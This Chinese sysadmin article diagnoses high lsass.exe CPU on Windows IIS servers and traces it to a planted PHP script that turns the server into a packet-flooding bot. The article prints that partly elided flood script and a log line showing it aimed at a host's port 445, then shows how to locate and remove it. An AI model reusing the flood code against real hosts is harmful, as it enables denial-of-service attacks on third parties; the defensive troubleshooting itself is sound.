Windows服务器上lsass.exe进程CPU使用率异常问题排查方法

这篇文章主要介绍了Windows服务器上lsass.exe进程CPU使用率异常问题排查方法,一般这个情况是发起了对外攻击造成的,也就是你的服务器可能已经沦为肉机,需要的朋友可以参考下

近期有几台服务器相继出现 lsass.exe 占用CPU过高,也不算太高,而且过了一段时间又会恢复正常,CPU过高直接造成网站打开很慢,周而反复。

在CPU跑高的时候,伴随着一个现像就是网络的浮动,有时候上传居然达到了30M - 90M/s,对外攻击,第一时间就想到有可能是这个原因,那具体怎么查呢?

常见的对外文件,这东西网上搜一下就能找到。

<?php
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_REQUEST['http'];
$rand = $_REQUEST['exit'];
$exec_time = $_REQUEST['time'];
........
echo $_REQUEST['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_REQUEST['rat'];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
/........
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>

那要如何定位到是哪个站呢?
你可以打开日志
C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,
里面有类似这样的记录:

2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1

最后三项 783 Disabled 30_FreeHost_1
783就是这个站在IIS中的ID
30_FreeHost_1就是所在池
 

解决办法:

找到这个站点,接下来想要解决就好办了,如果条件允许,可以直接禁用掉fsockopen这个函数,当然这个大部份情况下是不适用的。
那就去这个站点的根止录下找找吧。

$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);

可以借助一些工具,查找上面这句话,或是查找$fp = fsockopen,这样其本上攻击文件就无所遁形了,当然不要删除了正常的邮件发送文件,最后重启下服务,嗯,不卡了。

本站部分内容来源互联网,如果有图片或者内容侵犯您的权益请联系我们删除!

相关文档推荐

下载完成后,解压,将memcached目录放到一个盘中,我这里是放在了d盘Webtools目录下,进入 DOS 命令行 然后执行服务注册命令 memcached.exe -d install 卸载服务命令 memcached.exe -d uninstall 然后启动服务 memcached.exe -d start 停止服务 memcached.ex
摘要: 一、打开 `开始菜单` `服务器管理器` `管理` `添加角色和功能` 一、打开 开始菜单 服务器管理器 管理 添加角色和功能 二、选择 基于角色或基于功能的安装 ,单击下一步 三、选择 从服务器池中选择服务器 ,单击下一步 四、选择 Web服务器(IIS) ,为
1. 下载最新版本的Perl,安装后重启系统。 http://downloads.activestate.com/ActivePerl/ 2.下载 latest openssl并解压到C:\openssl-0.9.8k。 http://www.openssl.org/source/ 参考openssl目录下的install.win32说明进行安装: 1、进入解压目录。 cd C:\op
一:安装nginx nginx在windows下进行完整配置,需要下载windows的nginx,下载完成后,将下载的nginx解压到你要安装配置的路径,假设我这里是D:\nginx-1.11.4\nginx-1.11.4\,打开nginx的文件夹,找到里面的conf目录的nginx.conf,修改以下内容: 打开错误日
一直在Linux平台上部署web服务,但是最近的一个项目,必须要用windows,不得已再次研究了nginx在windows下的表现,因为Apache httpd在Windows下表现其实也不算太好,而我更喜欢nginx。 惊奇地发现nginx在Windows下已经趋于稳定,于是我决定使用nginx作为web
1.下载 NGINX-1.8.0官网下载:http://nginx.org/en/download.html PHP5.6.15版本下载地址:http://windows.php.net/download/ Mysql5.5.19版本下载地址:http://www.mysql.com/downloads/mysql/ 2.安装Mysql 配置时用户名root,密码root,字符编码utf8,utf8_ge